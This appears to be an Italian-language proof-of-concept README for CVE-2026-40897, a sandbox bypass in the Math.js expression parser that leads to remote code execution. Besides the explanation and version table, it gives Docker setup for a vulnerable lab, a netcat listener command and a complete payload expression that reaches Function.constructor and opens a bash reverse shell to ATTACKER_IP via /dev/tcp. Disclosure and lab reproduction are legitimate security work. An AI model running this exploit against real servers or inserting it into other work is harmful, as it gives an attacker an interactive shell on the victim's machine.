
Parser di espressioni Math.js RCE
★ CVE-2026-40897 PoC di esecuzione di codice remoto in Math.js ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 è una vulnerabilità di Sandbox Bypass che porta all'Esecuzione di Codice Remoto nel parser di espressioni di Math.js. Il filtro
isSafePropertycontrolla solo l'accesso alle proprietà dalle espressioni utente, non dai percorsi di codice interni. Divulgando l'array interno diArrayNodetramitetoJSON()e sovrascrivendo la sua.map, un attaccante può forzare il codice interno ad accedere aFunction.constructored eseguire JavaScript arbitrario.
| Categoria | Versione |
|---|---|
| Vulnerabile | Math.js 13.1.1 ≤ versione ≤ 15.1.1 |
| Corretta | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Dopo aver avviato l'ambiente vulnerabile, seguire i passaggi seguenti per riprodurre l'attacco.
nc -lvnp 4444
Inviare la seguente espressione a math.evaluate (ad esempio, tramite l'input di calcolo dell'applicazione).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Il server target si riconnette al listener dell'attaccante, fornendo una shell bash interattiva.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) tramite il parser di espressioni